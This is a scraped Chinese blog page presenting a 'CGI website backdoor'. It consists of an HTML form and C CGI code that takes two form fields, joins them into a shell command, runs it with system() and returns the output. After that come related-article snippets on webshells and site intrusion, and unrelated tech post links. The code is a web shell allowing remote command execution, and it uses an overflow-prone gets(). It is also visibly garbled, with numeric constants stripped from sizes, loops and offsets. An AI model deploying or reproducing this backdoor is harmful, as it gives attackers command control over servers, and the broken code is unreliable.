• 运行截图:
  • html开发:
     <html>
    <body>
    <form id="form" name="form" method="post" action="../cgi-bin/run.cgi">
    <p></p>
    <input type="text" name="cmd1" id="user" >
    <p></p>
    <input type="text" name="cmd2" id="pass" >
    <p></p>
    <input type="submit" name="go" id="run" value="submit">
    </form>
    </body>
    </html>
  • cgi开发
     #define _CRT_SECURE_NO_WARNINGS
    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h> void main()
    {
    //显示html文本
    printf("Cotent-type:text/html\n\n");
    //获取表单信息
    char szpost[] = { };
    gets(szpost);
    //输出表单信息
    printf("%s", szpost); //对表单信息进行处理,把'+'转换成' '
    char *pstart = szpost;
    for(int i=;i<;i++)
    {
    if (szpost[i] == '+')
    {
    szpost[i] = ' ';
    }
    } //处理':'号
    char *pos1 = strstr(szpost, "%3A");
    if (pos1 != NULL)
    {
    *pos1 = ':';
    *(pos1 + ) = ' ';
    *(pos1 + ) = ' ';
    } //处理'\'
    pos1 = strstr(szpost, "%2F");
    if (pos1 != NULL)
    {
    *pos1 = '\\';
    *(pos1 + ) = ' ';
    *(pos1 + ) = ' ';
    } //获取第一个输入框的内容
    char *p1 = strchr(szpost, '&');
    if (*p1 != NULL)
    {
    *p1 = '\0';
    }
    //输出第一个输入框的内容
    printf("%s\r\n", szpost+); //获取第二个输入框的内容
    char *p2 = strchr(p1 + , '&');
    if (*p2 != NULL)
    {
    *p2 = '\0';
    }
    //输出第二个输入框的内容
    printf("%s\r\n",p1+); //整合成cmd指令
    char cmd[] = { };
    //生成随机数,写入到随机数文件中
    time_t ts;
    unsigned data = time(&ts);
    srand(&ts);
    int num = rand(); //整合cmd指令,并重定向到文件
    sprintf(cmd, "%s %s >%d.txt", szpost + , p1 + , num);
    //文件名
    char filename[] = { };
    //生成文件名
    sprintf(filename,"%d.txt", num);
    //执行指令
    system(cmd);
    //打开文件
    FILE *pf = fopen(filename,"r");
    //读取文件
    while (!feof(pf))
    {
    char ch = fgetc(pf);
    putchar(ch);
    }
    //关闭文件
    fclose(pf);
    }

51.cgi网站后门的更多相关文章

  1. 网站后门shell-----eval

    我们先来看看网站被攻击的代码: <?php error_reporting(E_ERROR); unlink('user.php'); unlink('../member/login.php') ...

  2. thinkphp网站后门-发现后门(Webshell)文件

    不知道能不能解决, 1.登录阿里云后台,找到后门文件删除 2.执行 中国镜像 composer config -g repo.packagist composer https://packagist. ...

  3. 动态网站技术CGI

    递信息的规程.CGI规范允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器,CGI将Web的一组简单的静三种主流的动态网站技术: ASP JSP PHP 除之外,此还要了解的动态网站技术 ...

  4. 阿里云提醒 网站被WebShell木马后门的处理过程

    昨晚凌晨收到新客户的安全求助,说是阿里云短信提示,网站有webshell木马文件被植入,我们SINE安全公司立即成立,安全应急响应小组,客户提供了阿里云的账号密码,随即登陆阿里云进去查看到详情,登陆云 ...

  5. 360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法

    360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法 如何做好网站的安全性测试 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测http://websca ...

  6. 企业网站被黑 dedecms漏洞修复办法

    前段时间网站被黑了,从百度打开网站直接被劫持跳转到了彩票,du博网站上去,网站的首页index.html文件也被篡改成一些什么北京sai车,pk10,一些cai票的关键词内容,搞得网站根本无法正常浏览 ...

  7. 修复网站漏洞对phpmyadmin防止被入侵提权的解决办法

    phpmyadmin是很多网站用来管理数据库的一个系统,尤其是mysql数据库管理的较多一些,最近phpmysql爆出漏洞,尤其是弱口令,sql注入漏洞,都会导致mysql的数据账号密码被泄露,那么如 ...

  8. Python3 CGI编程实现教程

    一.背景说明 虽然很久以前就听说“早期的网站很多通过cgi形式实现”.“C++可通过CGI形式编写网页”,日积月累对CGI也有了一些概念,但一直没真正见过一个实际运行的CGI网站,总归还是有些底气不足 ...

  9. 手把手教你查看网站遭受到的Web应用攻击类型

    常见Web应用攻击类型有:webshell.SQL注入.文件包含.CC攻击.XSS跨站脚本攻击.敏感文件访问.远程命令.恶意扫描.代码执行.恶意采集.特殊攻击.其他攻击十二种攻击类型. 如何查看网站遭 ...

随机推荐

  1. 有用的 Bash 快捷键清单

    作者: Sk 译者: LCTT Sun Yongfei 现如今,我在终端上花的时间更多,尝试在命令行完成比在图形界面更多的工作.随着时间推移,我学了许多 BASH 的技巧.这是一份每个 Linux 用 ...

  2. Linux 图形文件压缩/解压缩实用程序,归档管理器。

    1.ArkArk是KDE桌面环境默认的归档管理器,支持插件设置,允许你创建一个压缩包,查看压缩文件的内容,解压压缩包的内容到你所选定的目录.它能处理多种格式,包括 tar.gzip.bzip2.zip ...

  3. webpack的理解

    webpack是一个模块打包工具,你可以使用webpack管理你的模块依赖,并编译输出模块们所需要的静态文件.它能够很好的管理.打包Web开发中所用到的HTML.Javascript.CSS以及各种静 ...

  4. HDU-1023 Train Problem II 卡特兰数(结合高精度乘除)

    题目链接:https://cn.vjudge.net/problem/HDU-1023 题意 卡特兰数的应用之一 求一个长度为n的序列通过栈后的结果序列有几种 思路 一开始不知道什么是卡特兰数,猜测是 ...

  5. [转载]CentOS 7虚拟机下设置固定IP详解

    在 复制 他人作品之前,是因为我再此“跌倒”过一次,虽然原主说是永久地址,但是地址失效 不可避免.所以就原封不动的copy了过来,我自己也是按照他的一步一步配置的,我成功了,相信你们也会成功. 如果不 ...

  6. 紫书 例题 10-12 UVa 1637(概率计算)

    以9元组来代表当前状态,每一元是每一堆剩下的牌数 枚举当前状态所有可以拿掉牌的情况,然后递归下去求 概率,当牌拿完的时候概率为1 那么这里的实现非常的秀,用到了vector来代表9元组 然后还用到了m ...

  7. C# 字符串 分割 反转 Base64

    "; //字符串 ToBase64 byte[] bytes = Encoding.Default.GetBytes(pwd); pwd = Convert.ToBase64String(b ...

  8. Spring 容器(一)

    Source null instanceof Object 语法是正确的 Source定义得到输入流的方法 Resource继承Source,定义判断流是否存在.是否打开等方法 BaseResourc ...

  9. LiquiBase预判断

    预判断解决的问题:运行liquibase之前,DB中已经存在一个table,所以需要加上预判断: 完整的一个例子: <?xml version="1.0" encoding= ...

  10. 试图切换控制addChildViewController、_transitionFromViewController

    试图切换能够用transitionFromViewController. 步骤: View Controller中能够加入多个sub view,在须要的时候显示出来: 能够通过viewControll ...